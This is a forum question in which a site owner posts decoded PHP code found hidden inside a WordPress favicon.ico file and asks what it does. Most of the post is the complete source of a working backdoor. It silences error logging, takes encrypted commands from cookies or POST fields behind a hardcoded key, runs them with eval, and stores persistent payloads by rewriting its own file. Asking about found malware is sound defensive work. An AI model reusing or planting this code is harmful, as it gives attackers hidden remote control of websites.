Malicious code embedded in a favicon.ico file found inside wordpress installation

Question

Please help me understand what this code does. I found this code embedded in a favicon.ico file inside wordpress installation. I suspect this to be a malicious code and i'm trying to understand what this code is doing. I have decoded the original code in the favicon and found php scripts inside. This mostly looks like there is some file handling going on in this script. So I need your help to comprehend the code if the code is really malicious or is a code created by wordpress plugin

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);


if(!defined("PHP_EOL"))
{
    define("PHP_EOL", "\n");
}

if(!defined("DIRECTORY_SEPARATOR"))
{
    define("DIRECTORY_SEPARATOR", "/");
}

if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18'))
{
    define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1);

    $data = NULL;
    $data_key = NULL;

    $GLOBALS['cs_auth'] = '7fd614c3-b449-4a7e-a787-298c281b6ffc';
    global $cs_auth;


    if (!function_exists('file_put_contents'))
    {
        function file_put_contents($n, $d, $flag = False)
        {
            $mode = $flag == 8 ? 'a' : 'w';
            $f = @fopen($n, $mode);
            if ($f === False)
            {
                return 0;
            }
            else
            {
                if (is_array($d)) $d = implode($d);
                $bytes_written = fwrite($f, $d);
                fclose($f);
                return $bytes_written;
            }
        }
    }

    if (!function_exists('file_get_contents'))
    {
        function file_get_contents($filename)
        {
            $fhandle = fopen($filename, "r");
            $fcontents = fread($fhandle, filesize($filename));
            fclose($fhandle);

            return $fcontents;
        }
    }
    function cs_get_current_filepath()
    {
        return trim(preg_replace("/\(.*\$/", '', __FILE__));
    }

    function cs_decrypt_phase($data, $key)
    {
        $out_data = "";

        for ($i=0; $i<strlen($data);)
        {
            for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
            {
                $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
            }
        }

        return $out_data;
    }

    function cs_decrypt($data, $key)
    {
        global $cs_auth;

        return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth);
    }
    function cs_encrypt($data, $key)
    {
        global $cs_auth;

        return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key);
    }

    function cs_get_plugin_config()
    {
        $self_content = @file_get_contents(cs_get_current_filepath());

        $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
        if ($config_pos !== FALSE)
        {
            $config = substr($self_content, $config_pos + 32);
            $plugins = @unserialize(cs_decrypt(base64_decode($config), md5(cs_get_current_filepath())));
        }
        else
        {
            $plugins = Array();
        }

        return $plugins;
    }

    function cs_set_plugin_config($plugins)
    {
        $config_enc = base64_encode(cs_encrypt(@serialize($plugins), md5(cs_get_current_filepath())));
        $self_content = @file_get_contents(cs_get_current_filepath());

        $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
        if ($config_pos !== FALSE)
        {
            $config_old = substr($self_content, $config_pos + 32);
            $self_content = str_replace($config_old, $config_enc, $self_content);

        }
        else
        {
            $self_content = $self_content . "\n\n//" . md5(cs_get_current_filepath()) . $config_enc;
        }

        @file_put_contents(cs_get_current_filepath(), $self_content);
    }

    function cs_plugin_add($name, $base64_data)
    {
        $plugins = cs_get_plugin_config();

        $plugins[$name] = base64_decode($base64_data);

        cs_set_plugin_config($plugins);
    }

    function cs_plugin_rem($name)
    {
        $plugins = cs_get_plugin_config();

        unset($plugins[$name]);

        cs_set_plugin_config($plugins);
    }

    function cs_plugin_load($name=NULL)
    {
        foreach (cs_get_plugin_config() as $pname=>$pcontent)
        {
            if ($name)
            {
                if (strcmp($name, $pname) == 0)
                {
                    eval($pcontent);
                    break;
                }
            }
            else
            {
                eval($pcontent);
            }
        }
    }

    foreach ($_COOKIE as $key=>$value)
    {
        $data = $value;
        $data_key = $key;
    }

    if (!$data)
    {
        foreach ($_POST as $key=>$value)
        {
            $data = $value;
            $data_key = $key;
        }
    }

    $data = @unserialize(cs_decrypt(base64_decode($data), $data_key));

    if (isset($data['ak']) && $cs_auth==$data['ak'])
    {
        if ($data['a'] == 'i')
        {
            $i = Array(
                'pv' => @phpversion(),
                'sv' => '2.0-1',
                'ak' => $data['ak'],
            );
            echo @serialize($i);
            exit;
        }
        elseif ($data['a'] == 'e')
        {
            eval($data['d']);
        }
        elseif ($data['a'] == 'plugin')
        {
            if($data['sa'] == 'add')
            {
                cs_plugin_add($data['p'], $data['d']);
            }
            elseif($data['sa'] == 'rem')
            {
                cs_plugin_rem($data['p']);
            }
        }
        echo $data['ak'];
        exit();
    }

    cs_plugin_load();
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